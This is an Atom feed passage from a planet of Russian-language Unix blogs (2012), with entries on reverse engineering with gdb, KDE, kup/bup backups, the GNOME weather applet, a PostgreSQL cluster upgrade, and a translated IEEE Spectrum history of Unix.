<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10russianfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:planet="http://planet.intertwingly.net/" xmlns:indexing="urn:atom-extension:indexing" indexing:index="no"><access:restriction xmlns:access="http://www.bloglines.com/about/specs/fac-1.0" relationship="deny" />
  <title>RuNIX.org — планета блогов о *NIX на русском языке</title>
  <updated>2012-02-09T14:01:26Z</updated>
  <generator uri="http://intertwingly.net/code/venus/">Venus</generator>
  <author>
    <name>jetxee</name>
    <email>root@runix.org</email>
  </author>
  <id>http://runix.org/atom.xml</id>
  
  <link href="http://runix.org" rel="alternate" />

  <atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/ru_nix_blogs" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="ru_nix_blogs" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.feedburner.com%2Fru_nix_blogs" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.bloglines.com/sub/http://feeds.feedburner.com/ru_nix_blogs" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Fru_nix_blogs" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Fru_nix_blogs" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://lenta.yandex.ru/settings.xml?name=feed&amp;url=http%3A%2F%2Ffeeds.feedburner.com%2Fru_nix_blogs" src="http://lenta.yandex.ru/i/addfeed.gif">?????? ? ??????.?????</feedburner:feedFlare><entry xml:lang="en">
    <id>http://stproject.info/blog/?p=1754</id>
    <link href="http://stproject.info/blog/?p=1754" rel="alternate" type="text/html" />
    <title>Давайте займемся реверс инжинирингом</title>
    <summary type="html">Давайте поиграем в крутых «пацанов», и типо зареверсим работу небольшой программки, которую мы же сами и напишем Для полного понимания статьи понадобятся базовые знания в C/C++ (на выбор), ассемблере и немного в принципах отладки. Про ассемблер и прочие прелести почитать можно вот тут: Ассемблер в Linux для программистов C Там же, про GDB Привет из [...]&lt;img src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/aPB2qbgGOe8" height="1" width="1"/&gt;</summary>
    <updated>2012-02-09T10:03:49Z</updated>
    <category term="Без рубрики" />
    <category term="assembler" />
    <category term="c" />
    <category term="gdb" />
    <category term="ltrace" />
    <category term="strace" />
    <author>
      <name>Алексей Харитон</name>
    </author>
    <source>
      <id>http://stproject.info/blog</id>
      <link href="http://stproject.info/blog/?feed=rss2" rel="self" type="application/atom+xml" />
      <link href="http://stproject.info/blog" rel="alternate" type="text/html" />
      <title>STALKER`s project::Blog</title>
      <updated>2012-02-09T10:03:49Z</updated>
    </source>
  </entry>

  <entry>
    <id>http://paul.elms.pro/posts/%D0%9F%D1%80%D0%BE_KDE/</id>
    <link href="http://paul.elms.pro/posts/%D0%9F%D1%80%D0%BE_KDE/" rel="alternate" type="text/html" />
    <link href="http://feeds.feedburner.com/posts/Про_KDE/#comments" rel="comments" type="text/html" />
    <link href="http://feeds.feedburner.com/posts/Про_KDE/comments.atom" rel="comments" type="application/atom+xml" />
    <title>Про KDE</title>
    <content type="xhtml" xml:lang="en"><div xmlns="http://www.w3.org/1999/xhtml"><p>Я когда-то использовал KDE версий 3.x, но мыслей таких не возникало. А сейчас
вот, после некоторого времени на Gnome, xfce и других средах, хотел бы заметить
- действительно интегрированной средой можно назвать KDE. kio, kparts,
интегрированность приложений здесь действительно есть. После этого мне кажется
Gnome таким же набором приложений как и xfce/lxde.</p><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/jSB0UILNaM4" height="1" width="1" /></div></content>
    <updated>2012-02-07T14:47:24Z</updated>
    <published>2012-02-07T14:47:24Z</published>
    <category term="kde" />
    <category term="runix" />
    <source>
      <id>http://paul.elms.pro/blog/runix/</id>
      <author>
        <name>Павел Вязовой</name>
      </author>
      <link href="http://paul.elms.pro/blog/runix/" rel="alternate" type="text/html" />
      <link href="http://feeds.feedburner.com/vyazovoi-linux" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>Unix Way</subtitle>
      <title>Блог Смеющегося Человека - записи с тегом runix (для runix.org)</title>
      <updated>2012-02-07T14:55:23Z</updated>
    </source>
  </entry>

  <entry>
    <id>http://paul.elms.pro/posts/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B8%D0%B9_%D0%B1%D1%8D%D0%BA%D0%B0%D0%BF_%D0%B2_KDE_%D1%81_kup_%D0%B8_bup/</id>
    <link href="http://paul.elms.pro/posts/%D0%94%D0%BE%D0%BC%D0%B0%D1%88%D0%BD%D0%B8%D0%B9_%D0%B1%D1%8D%D0%BA%D0%B0%D0%BF_%D0%B2_KDE_%D1%81_kup_%D0%B8_bup/" rel="alternate" type="text/html" />
    <link href="http://feeds.feedburner.com/posts/Домашний_бэкап_в_KDE_с_kup_и_bup/#comments" rel="comments" type="text/html" />
    <link href="http://feeds.feedburner.com/posts/Домашний_бэкап_в_KDE_с_kup_и_bup/comments.atom" rel="comments" type="application/atom+xml" />
    <title>Домашний бэкап в KDE с kup и bup</title>
    <content type="xhtml" xml:lang="en"><div xmlns="http://www.w3.org/1999/xhtml"><p>После перехода на KDE искал себе замену deja-dup. Хотелось что-то такое, что
будет мониторить появление моего USB-винта в нетбуке и сбрасывать туда бэкап
моей домашней директории.</p>

<p>На форуме альта дали несколько линков и я нашёл для себя <a href="http://kde-apps.org/content/show.php/Kup+Backup+System?content=147465">kup</a>. После
небольшого поиска убедился что это единственный аналог deja-dup.</p>

<p>Deja-dup использует в качестве бэкенда duplicity, а kup использует <a href="https://github.com/apenwarr/bup/">bup</a>.</p>

<p>Bup это невероятно интересная штука: использует формат хранения данных git,
отсюда многие плюшки: версии, диффы, можно работать с ним как с помощью bup
(много возможностей), так и с помощью git (ну мало ли).</p>

<p>Kup это фронтенд для bup, который интегрируется с KDE, мониторит наличие
устройства для бэкапа и запускает бэкап по расписанию. Пока немного глючит, но
работает.</p>

<p>Некоторые плюсы и минусы:</p>

<ul>
<li>Просмотр бэкапов в стиле ftp-клиента</li>
<li>Монтирование бэкапа через fuse</li>
<li>Тегирование коммитов (офигительно же)</li>
<li>Kup интегрируется в контрольный центр KDE</li>
<li>Можно задать несколько планов бэкапа</li>
<li>Нет поддержки удаленных бэкапов как в deja-dup</li>
<li>Пока не показывает прогресс в уведомлениях KDE, не очень красиво</li>
</ul>

<p>Что можно добавить в kup (о чем я думаю):</p>

<ol>
<li>Возможность использовать удаленные файловые системы (должно быть реализовано
именно в kup путем монтирования удаленной файловой системы)</li>
<li>Восстановление файлов в kup (сейчас это просто запускалка операции бэкапа)</li>
<li>Интеграция в файл-менеджеры KDE (восстановить выбранный файл или директорию)</li>
<li>Прогресс в уведомлении.</li>
<li>Локализация.</li>
</ol><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/cwuN2S8iuHo" height="1" width="1" /></div></content>
    <updated>2012-02-07T14:47:24Z</updated>
    <published>2012-02-07T14:47:24Z</published>
    <category term="git" />
    <category term="kde" />
    <category term="runix" />
    <category term="vcs" />
    <source>
      <id>http://paul.elms.pro/blog/runix/</id>
      <author>
        <name>Павел Вязовой</name>
      </author>
      <link href="http://paul.elms.pro/blog/runix/" rel="alternate" type="text/html" />
      <link href="http://feeds.feedburner.com/vyazovoi-linux" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>Unix Way</subtitle>
      <title>Блог Смеющегося Человека - записи с тегом runix (для runix.org)</title>
      <updated>2012-02-07T14:55:23Z</updated>
    </source>
  </entry>

  <entry xml:lang="en">
    <id>http://bappoy.pp.ru/?p=1098</id>
    <link href="http://bappoy.pp.ru/2012/02/06/nnov_libgweather.html" rel="alternate" type="text/html" />
    <title>Нижний Новгород в погодном апплете Gnome</title>
    <summary type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><p>Для того, чтобы наблюдать погоду в верхней панели, всю жизнь тщательно вбивал координаты нашего нижегородского аэропорта (ICAO: UWGG) в /usr/share/libgweather/locations.xml, т.к. в списке городов Нижнего Новгорода нет и не было, а при вводе «nizh» показывался только Nizhnevartovsk. На прошлой неделе решил окончательно разобраться с этим вопросом и обнаружил, что вместо Нижнего Новгорода нужно искать Стригино — поселок в черте города, поделившийся названием с аэропортом.</p><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/Qcgz4r-UjyY" height="1" width="1" /></div></summary>
    <updated>2012-02-06T08:31:19Z</updated>
    <category term="linux" />
    <category term="debian" />
    <category term="нижний новгород" />
    <author>
      <name>bappoy</name>
    </author>
    <source>
      <id>http://bappoy.pp.ru</id>
      <link href="http://bappoy.pp.ru/tag/linux/feed" rel="self" type="application/atom+xml" />
      <link href="http://bappoy.pp.ru" rel="alternate" type="text/html" />
      <subtitle>Линуксоид на велосипеде с моторчиком</subtitle>
      <title>Bappoy's blog » linux</title>
      <updated>2012-02-06T08:31:19Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-4876407785098439896.post-4940959534233320080</id>
    <link href="http://lindev.blogspot.com/feeds/4940959534233320080/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://lindev.blogspot.com/2012/02/postgresql-84-postgresql-91-ubuntu.html#comment-form" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/4876407785098439896/posts/default/4940959534233320080?v=2" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/4876407785098439896/posts/default/4940959534233320080?v=2" rel="self" type="application/atom+xml" />
    <link href="http://feedproxy.google.com/~r/blogspot/VTUEL/~3/3gv7Wmckc8U/postgresql-84-postgresql-91-ubuntu.html" rel="alternate" type="text/html" />
    <title>Переезжаем с Postgresql 8.4 на Postgresql 9.1 в Ubuntu</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml"><br />
Делается это так:<br />
<br />
<i>$ su - postgres</i><br />
<br />
Делаем backup на всякий случай: <br />
<br />
<i>$ pg_dumpall &gt;backup_db</i><br />
<br />
Останавливаем сервер:<br />
<br />
<i>$ pg_dropcluster --stop 9.1 main</i><br />
<br />
Переносим данные со старого сервера: <br />
<br />
<i>$ pg_upgradecluster 8.4 main</i><br />
<br />
Удаляем старый сервер: <br />
<br />
<i>$ pg_dropcluster 8.4 main</i><br />
<br />
<i>... </i><br />
<i>Profit ! </i><div class="blogger-post-footer"><img alt="" height="1" src="https://blogger.googleusercontent.com/tracker/4876407785098439896-4940959534233320080?l=lindev.blogspot.com" width="1" /></div><img height="1" src="http://feeds.feedburner.com/~r/blogspot/VTUEL/~4/3gv7Wmckc8U" width="1" /><xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/ru_nix_blogs/~4/gyPq4Py2_J8" height="1" width="1" /></div></content>
    <updated>2012-02-06T06:59:00Z</updated>
    <published>2012-02-06T06:59:00Z</published>
    <category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu" />
    <category scheme="http://www.blogger.com/atom/ns#" term="postgresql" /><feedburner:origLink xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://lindev.blogspot.com/2012/02/postgresql-84-postgresql-91-ubuntu.html</feedburner:origLink>
    <author>
      <name>Alexander Basov</name>
      <email>noreply@blogger.com</email>
      <uri>https://profiles.google.com/114602232288917135476</uri>
    </author>
    <source>
      <id>tag:blogger.com,1999:blog-4876407785098439896</id>
      <category term="flash" />
      <category term="xsl" />
      <category term="quota" />
      <category term="postgresql" />
      <category term="encoding" />
      <category term="ICQ" />
      <category term="books" />
      <category term="libc" />
      <category term="ЭВМ" />
      <category term="Kernel" />
      <category term="Wine" />
      <category term="cups" />
      <category term="праздник" />
      <category term="dbus" />
      <category term="X.org" />
      <category term="Embedded" />
      <category term="firefox" />
      <category term="mtrace" />
      <category term="convmv" />
      <category term="git" />
      <category term="valgrind" />
      <category term="ati" />
      <category term="gnutls" />
      <category term="Логика" />
      <category term="LSB" />
      <category term="время" />
      <category term="alsa" />
      <category term="Емакс" />
      <category term="X11" />
      <category term="Easeter Eggs" />
      <category term="opera" />
      <category term="humor" />
      <category term="gspca" />
      <category term="xml" />
      <category term="distcc" />
      <category term="xfs" />
      <category term="xmpp" />
      <category term="Thunderbird" />
      <category term="dmix" />
      <category term="Gmail" />
      <category term="brain" />
      <category term="Astronomy" />
      <category term="bash" />
      <category term="скобки" />
      <category term="ntp" />
      <category term="Jabber" />
      <category term="pdf" />
      <category term="bash shell" />
      <category term="c" />
      <category term="kde4" />
      <category term="fop" />
      <category term="hplip" />
      <category term="Assembler" />
      <category term="Life" />
      <category term="trac" />
      <category term="Ада" />
      <category term="наука" />
      <category term="ssh svn узелок." />
      <category term="pandaboard" />
      <category term="matreshka" />
      <category term="glib" />
      <category term="Qt" />
      <category term="FIXME" />
      <category term="Emacs" />
      <category term="часы" />
      <category term="notification" />
      <category term="Suse" />
      <category term="OS" />
      <category term="удаленный рабочий стол" />
      <category term="UNIX" />
      <category term="intenet" />
      <category term="berlios.de" />
      <category term="easter_eggs" />
      <category term="задачка" />
      <category term="VirtualBox" />
      <category term="Книги" />
      <category term="gprbuild" />
      <category term="skype" />
      <category term="1C" />
      <category term="GNU" />
      <category term="Gdb" />
      <category term="http" />
      <category term="GoogleEarth" />
      <category term="GTK" />
      <category term="Gentoo" />
      <category term="ISP" />
      <category term="sex" />
      <category term="ASIS" />
      <category term="sound" />
      <category term="opensource" />
      <category term="узелок на память" />
      <category term="2009. Муууу" />
      <category term="BUG" />
      <category term="debian" />
      <category term="docbook" />
      <category term="polyorb" />
      <category term="defrag" />
      <category term="TODO" />
      <category term="linux" />
      <category term="alias" />
      <category term="apache" />
      <category term="man" />
      <category term="ELCE" />
      <category term="Ada" />
      <category term="HAL" />
      <category term="Flight Emulator" />
      <category term="programming" />
      <category term="ejabberd" />
      <category term="remote" />
      <category term="Tanenbaum" />
      <category term="GNAT" />
      <category term="ssh" />
      <category term="corba" />
      <category term="xmodmap" />
      <category term="memory leaks" />
      <category term="Google" />
      <category term="X" />
      <category term="config" />
      <category term="kde" />
      <category term="Psi" />
      <category term="icloud" />
      <category term="Новый Год" />
      <category term="QtAda" />
      <category term="mudflap" />
      <category term="Отладка" />
      <category term="administration" />
      <category term="web cam" />
      <category term="qemu" />
      <category term="gcc" />
      <category term="amd" />
      <category term="Ubuntu" />
      <category term="хороводоводоведофилофобы" />
      <category term="кетчуп" />
      <category term="iptables" />
      <author>
        <name>Alexander Basov</name>
        <email>noreply@blogger.com</email>
        <uri>https://profiles.google.com/114602232288917135476</uri>
      </author>
      <link href="http://lindev.blogspot.com/feeds/posts/default" rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" />
      <link href="http://lindev.blogspot.com/" rel="alternate" type="text/html" />
      <link href="http://www.blogger.com/feeds/4876407785098439896/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" rel="next" type="application/atom+xml" />
      <link href="http://feeds.feedburner.com/blogspot/VTUEL" rel="self" type="application/atom+xml" />
      <link href="http://pubsubhubbub.appspot.com/" rel="hub" type="text/html" />
      <subtitle>Заметки линуксоида</subtitle>
      <title>Linux Maniacs</title>
      <updated>2012-02-08T18:56:44Z</updated>
    </source>
  </entry>

  <entry>
    <id>tag:blogger.com,1999:blog-30744165.post-6723128500333914553</id>
    <link href="http://mydebianblog.blogspot.com/feeds/6723128500333914553/comments/default" rel="replies" type="application/atom+xml" />
    <link href="http://mydebianblog.blogspot.com/2012/02/unix.html#comment-form" rel="replies" type="text/html" />
    <link href="http://www.blogger.com/feeds/30744165/posts/default/6723128500333914553?v=2" rel="edit" type="application/atom+xml" />
    <link href="http://www.blogger.com/feeds/30744165/posts/default/6723128500333914553?v=2" rel="self" type="application/atom+xml" />
    <link href="http://feedproxy.google.com/~r/debianletters/~3/_e1If12IbZM/unix.html" rel="alternate" type="text/html" />
    <title>Странное рождение и долгая жизнь UNIX</title>
    <content type="xhtml"><div xmlns="http://www.w3.org/1999/xhtml">Когда хотят утешить, то говорят, когда для вас закрывается одна дверь, открывается другая. Так и вышло для Кена Томпсона (Ken Thompson) и Дениса Ритчи (Dennis Ritchie), когда они создавали операционную систему UNIX - одну из самых вдохновляющих и влиятельных программ за всю историю компьютерной техники.<br /><br /><br /><span style="font-family: sans-serif; font-size: 85%; color: red;">Copyright© 2011 IEEE.   Reprinted from IEEE <a href="http://spectrum.ieee.org/computing/software/the-strange-birth-and-long-life-of-unix">"The Strange Birth and Long Life of Unix" by Warren Toomey, </a></span><a href="http://spectrum.ieee.org/computing/software/the-strange-birth-and-long-life-of-unix"><span style="color: rgb(255, 0, 0);">IEEE Spectrum Magazine, December 2011</span></a><span style="font-family: sans-serif; font-size: 85%; color: red;">.</span><span style="font-family: sans-serif; font-size: 85%; color: red;"><br /></span><span style="font-family: sans-serif; font-size: 85%; color: red;"><br />This material is posted here with permission of the IEEE.  Such   permission of the IEEE does not in any way imply IEEE endorsement of any   of <a href="http://mydebianblog.blogspot.com/">mydebianblog</a>’s products or services.   Internal or personal use  of  this material is permitted.  However, permission to reprint/republish  this material for advertising or promotional  purposes or for creating  new collective works for resale or  redistribution must be obtained from  the IEEE by writing to  pubs-permissions@ieee.org.</span><span style="font-family: sans-serif; font-size: 85%; color: red;"><br /></span><span style="font-family: sans-serif; font-size: 85%; color: red;"><br />By choosing to view this document, you agree to all provisions of the copyright laws protecting it.  </span><span style="font-family: sans-serif; font-size: 85%;"><br /></span><br /><br /><span style="color: rgb(153, 153, 153); font-size: 85%;"><span class="" id="result_box" lang="ru"><span class="hps">Copyright © 2011</span> <span class="hps">IEEE.</span> <span class="hps">Перепечатано из</span> <span class="hps">IEEE</span> <span class="hps atn">"</span><span>Странное</span> <span class="hps">рождение</span> <span class="hps">и долгая жизнь </span><span class="hps">Unix</span><span>"</span> <span class="hps">Уоррен</span> <span class="hps">Туми,</span> <span class="hps">IEEE Spectrum</span> <span class="hps">Magazine,</span> <span class="hps">декабрь 2011 года.</span><br /><br /><span class="hps">Данный материал</span> <span class="hps">публикуется</span> <span class="hps">здесь</span> <span class="hps">с разрешения</span> <span class="hps">IEEE.</span> <span class="hps">Такое</span> <span class="hps">разрешение</span> <span class="hps">IEEE</span> <span class="hps">ни</span> <span class="hps">в</span> <span class="hps">коей мере не означает</span> <span class="hps">одобрение</span> <span class="hps">IEEE</span> <span class="hps">любой из продуктов</span> <a href="http://mydebianblog.blogspot.com/"><span class="hps">mydebianblog</span></a> <span class="hps">или услуг.</span> <span class="hps">Внутреннее</span> <span class="hps">или личное использование</span> <span class="hps">этого материала</span> <span class="hps">допускается.</span> <span class="hps">Тем не менее,</span> <span class="hps">разрешение на перепечатку</span> <span class="hps">/</span> <span class="hps">переиздание</span> <span class="hps">этого материала для</span> <span class="hps">рекламы или</span> <span class="hps">рекламных целях</span> <span class="hps">или</span> <span class="hps">для создания новых</span> <span class="hps">коллективных работ</span> <span class="hps">для перепродажи или</span> <span class="hps">перераспределения</span> <span class="hps">должно быть получено от</span> <span class="hps">IEEE</span><span>, написав по адресу</span> <span class="hps">pubs-permissions@ieee.org</span><span>.</span><br /><br /><span class="hps">Просматривая </span><span class="hps">этот</span> <span class="hps">документ, вы</span> <span class="hps">согласны со всеми</span> <span class="hps">положениями</span> <span class="hps">законов об авторских правах</span>, <span class="hps">защищающих его.</span></span></span><br /><span style="color: rgb(153, 102, 51); font-size: 130%;"><span style="font-weight: bold;"><br /><a name="more" /><br /></span></span><span style="color: rgb(153, 102, 51); font-size: 130%;"><span style="font-weight: bold;">Что было до UNIX: </span></span><span style="color: rgb(153, 102, 51); font-size: 130%;"><span style="font-weight: bold;">Эпоха Динозавров </span><br /></span>Для Томпсона и Ритчи дверь закрылась в марте 1969 года, когда их работодатель, American Telephone &amp; Telegraph Co. (AT&amp;T), вышел из совместного с Массачусетским Институтом Технологий (MIT) и General Electric проекта по созданию интерактивных систем с разделением времени под названием <span style="border-bottom: 1px dotted; text-decoration: none;" title="Multiplexed Information and Computing Service"> <span style="font-weight: bold;">Multics</span></span>. Метод <i>разделения времени</i> (time-sharing), позволяющий нескольким людям использовать один компьютер одновременно, <a href="http://en.wikipedia.org/wiki/Compatible_Time-Sharing_System" target="_blank">был изобретен всего десять лет назад</a> и использовался в системе <a href="http://www.multicians.org/mgc.html#CTSS" title="glossary: Compatible Time Sharing System. This IBM 7094 timesharing operating...">Compatible Timesharing System (CTSS)</a>.<br /><blockquote class="tr_bq"><span style="font-size: x-small;">Совместимая система с разделением времени, <a href="http://www.multicians.org/mgc.html#CTSS" title="glossary: Compatible Time Sharing System. This IBM 7094 timesharing operating...">Compatible Timesharing System (CTSS)</a>, была одной из первой операционных систем такого типа. Разработанная в Вычислительном центре MIT командой, возглавляемой <a href="http://www.multicians.org/multicians.html#Corbato" title="Multician: Administration (MIT); Designer. {Story: Corby.}">Fernando J. Corbató</a>, система была продемонстрирована в 1961 на компьютере <a href="http://en.wikipedia.org/wiki/IBM_709" target="_blank">IBM 709</a>. Усовершенствованная система CTSS запускалась на машине <a href="http://www.multicians.org/mga.html#7094" title="glossary: IBM's most powerful scientific computer in 1963, the platform...">IBM 7094</a> и позволяла обслуживать до 30 пользователей одновременно через модемы.</span></blockquote>Есть сохранившееся видео тех времён, где <span style="font-size: x-small;"><a href="http://www.multicians.org/multicians.html#Corbato" title="Multician: Administration (MIT); Designer. {Story: Corby.}">Fernando J. Corbató</a> </span> доступно объясняет принцип работы системы с разделением времени:<br />&lt;object height="315" width="420"&gt;&lt;param name="movie" value="http://www.youtube.com/v/Q07PhW5sCEk?version=3&amp;amp;hl=en_US"/&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowscriptaccess" value="always"/&gt;&lt;embed allowfullscreen="true" allowscriptaccess="always" height="315" src="http://www.youtube.com/v/Q07PhW5sCEk?version=3&amp;amp;hl=en_US" type="application/x-shockwave-flash" width="420"&gt;&lt;/embed&gt;&lt;/object&gt;<br />Multics объединяла режим разделения времени с другими техническими достижениями той эпохи, позволяя соединяться с компьютером через удалённые терминалы для чтения почты, редактирования документов, запуска вычислений, и много другого. Это должно было стать огромным шагом вперёд по сравнению с тем, как компьютеры использовались ранее. А до этого была утомительная подготовка и ввод пакетных заданий на <a href="http://www.divms.uiowa.edu/%7Ejones/cards/history.html" target="_blank">перфокартах</a>, запускаемых последовательно одно за другим.<br /><br /><blockquote class="tr_bq"><span style="font-size: x-small;">Рискуя повредить психическому здоровью впечатлительной части юной вебдвальной аудитории, автор хотел бы напомнить, что до дискет и тем более флешек, люди использовали вот такие накопители: </span></blockquote><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-nHPC-BOoY4k/TvJ6sBidGKI/AAAAAAAACPY/hTJbYz5PClg/s1600/ibm701.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="142" src="http://2.bp.blogspot.com/-nHPC-BOoY4k/TvJ6sBidGKI/AAAAAAAACPY/hTJbYz5PClg/s320/ibm701.gif" width="320" /></a></div><blockquote class="tr_bq"><span style="font-size: x-small;">Сие есть перфокарта, историю коих можно узнать на <a href="http://www.divms.uiowa.edu/%7Ejones/cards/" target="_blank">хорошо иллюстрированном сайте</a>. А ниже показана перфолента:</span></blockquote><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-TaBwx7d9zyM/TvJ6swYNjmI/AAAAAAAACPc/-VUD219ogRQ/s1600/thumb_.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="213" src="http://2.bp.blogspot.com/-TaBwx7d9zyM/TvJ6swYNjmI/AAAAAAAACPc/-VUD219ogRQ/s320/thumb_.jpg" width="320" /></a></div><br /><blockquote class="tr_bq"><span style="font-size: x-small;">Флешка приведена для сравнения того, насколько далеко и быстро ускакала Computer Science в деле хранения информации.</span> </blockquote><br />Компания <span class="" id="result_box" lang="ru"><span class="hps">AT&amp;T более пяти лет инвестировала миллионы долларов в</span> <span class="hps">проект</span> <span class="hps">Multics</span>, закупая мэйнфрэймы <span class="hps">GE</span>-645 и <span class="hps">координируя </span><span class="hps">усилия</span> <span class="hps">многих ведущих</span> <span class="hps">исследователей в</span> </span><span class="" id="result_box" lang="ru"><span class="hps">Bell Telephone Laboratories</span></span><span class="" id="result_box" lang="ru"> (Bell Labs), в том числе Ken </span> Thompson, Dennis Ritchie, Joseph F. Ossanna, Stuart Feldman, M. Douglas McIlroy, и Robert Morris<span class="" id="result_box" lang="ru"><span class="hps">.</span> <span class="hps">Но</span> <span class="hps">новая операционная система была</span> <span class="hps">слишком амбициозна,</span> <span class="hps">и оттого её разработка серьёзно отставала от графика</span><span class="hps">.</span> <span class="hps">В конце концов,</span> корпоративные слизняки из <span class="hps">AT&amp;T</span><span class="hps"> решили</span> ударить по тапкам и <span class="hps">выйти из проекта.</span></span><br /><div style="text-align: center;"><a href="http://2.bp.blogspot.com/-IVOfN3E5VC4/TyN53YIfQRI/AAAAAAAACS4/iQj0ntQlaME/s1600/ke%2B2.jpg"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5702535545458999570" src="http://2.bp.blogspot.com/-IVOfN3E5VC4/TyN53YIfQRI/AAAAAAAACS4/iQj0ntQlaME/s400/ke%2B2.jpg" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; cursor: hand; width: 400px; height: 313px;" /></a><span class="" id="result_box" lang="ru" style="font-weight: bold; color: rgb(153, 153, 153);">Мэйнфрэйм <span class="hps">GE</span>-645 выглядел примерно так, брутально и сурово.</span><br /></div><span class="" id="result_box" lang="ru"><br /></span>После этого <span class="" id="result_box" lang="ru"><span class="hps">менеджеры</span> <span class="hps">Bell Labs сильно охладели к проекту разработки </span></span><span class="" id="result_box" lang="ru"><span class="hps">Multics. Такой поворот событий не мог не огорчать многих исследователей. </span></span><span class="" id="result_box" lang="ru"><span class="hps">Хотя</span> операционная система <span class="hps">Multics</span> <span class="hps">не достигла многих своих целей</span><span class="hps">,</span> <span class="hps">она</span>, по воспоминаниям <span class="hps">Ритчи</span>, предоставляла <span class="hps atn">"</span>удобный <span class="hps">интерактивный сервис</span> <span class="hps">для вычисления,</span> <span class="hps">хорошую среду разработки</span><span class="">, и </span><span class="hps">систему</span>, вокруг которой <span class="hps">могло бы образоваться сообщество</span><span class="hps atn">". Но беда пришла, и её совсем не ждали.</span></span><br /><blockquote class="tr_bq"><span style="font-size: x-small;">Справедливости ради, нужно отметить, что <a href="http://www.multicians.org/history.html" target="_blank">Multics ещё долгое время служила верой и правдой в разных академических и оборонных учреждениях</a>. Некоторые машины с Multics составили части ARPAnet - то,  что мы сейчас знаем как Internet, а тогда серьёзная сеть суровых американских вояк на случай ядерной войны. <a href="http://www.multicians.org/site-mit.html" title="Massachusetts Institute of Technology, Cambridge, MA">MIT's Multics</a> был одним из первых сайтов в той сети.</span></blockquote>Огорчённые этим событием, <span class="" id="result_box" lang="ru"><span class="hps">исследователи</span> <span class="hps">вернулись</span> к использованию  старой пакетной системы. В этот <span class="hps">неблагоприятный</span> <span class="hps">момент</span>, когда </span><span class="" id="result_box" lang="ru"><span class="hps">руководство</span></span><span class="" id="result_box" lang="ru"> <span class="hps">было категорически против</span> </span><span class="" id="result_box" lang="ru"><span class="hps">новых </span></span><span class="" id="result_box" lang="ru"><span class="hps">идей,</span> казалось <span class="hps">безрассудным</span> <span class="hps">продолжать</span> <span class="hps">разработку</span> <span class="hps">компьютерных операционных систем.</span> <span class="hps">Но это</span> <span class="hps">именно то, что</span> <span class="hps">Томпсон,</span> <span class="hps">Ритчи,</span> <span class="hps">и многие из их</span> <span class="hps">коллег</span> по <span class="hps">Bell Labs, отважились</span> <span class="hps">сделать.</span> <span class="hps">Теперь,</span> <span class="hps">40 лет спустя</span>, нам стоит поблагодарить этих исследователей за то, что они про<span class="hps">игнорировали своих </span>шефов<span class="hps"> и</span> <span class="hps">продолжили</span> <span class="hps">своё</span></span><span class="" id="result_box" lang="ru"><span class="hps"> любимое дело, подарившее миру UNIX</span> - <span class="hps">одну из величайших</span> <span class="hps">компьютерных операционных систем</span> <span class="hps">всех времён и народов.</span></span><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-u8Fq0TzC38M/TvKELwQsNeI/AAAAAAAACP0/P7SyNAeUSSc/s1600/12UnixAt40f2-710px-1321892316342.jpg" style="margin-left: 1em; 